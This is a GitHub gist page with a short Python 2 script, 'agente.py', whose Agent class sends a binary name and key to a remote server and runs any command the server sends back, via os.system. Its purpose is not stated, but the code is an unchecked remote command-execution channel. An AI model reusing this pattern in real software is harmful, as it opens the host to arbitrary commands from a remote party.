Instantly share code, notes, and snippets.

@shramos /agente.py Secret
Created Feb 16, 2018

Embed
What would you like to do?
from multiprocessing.connection import Client
import select
import os
class Agent:
def __init__(self, binary, address, port, password):
self.address = (address, port)
self.password = password
self.binary = binary
def send_forbidden(self, key):
conn = Client(self.address, authkey=self.password)
conn.send([self.binary, key])
ready = select.select([conn], [], [], 60)
if ready[0]:
try:
data = conn.recv()
print "info recibida: " + str(data)
if type(data) is list and len(data) == 2 and data[0] == "execute":
print "ejecutando el binario"
os.system(data[1])
conn.send("go")
except:
conn.close()
return
conn.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment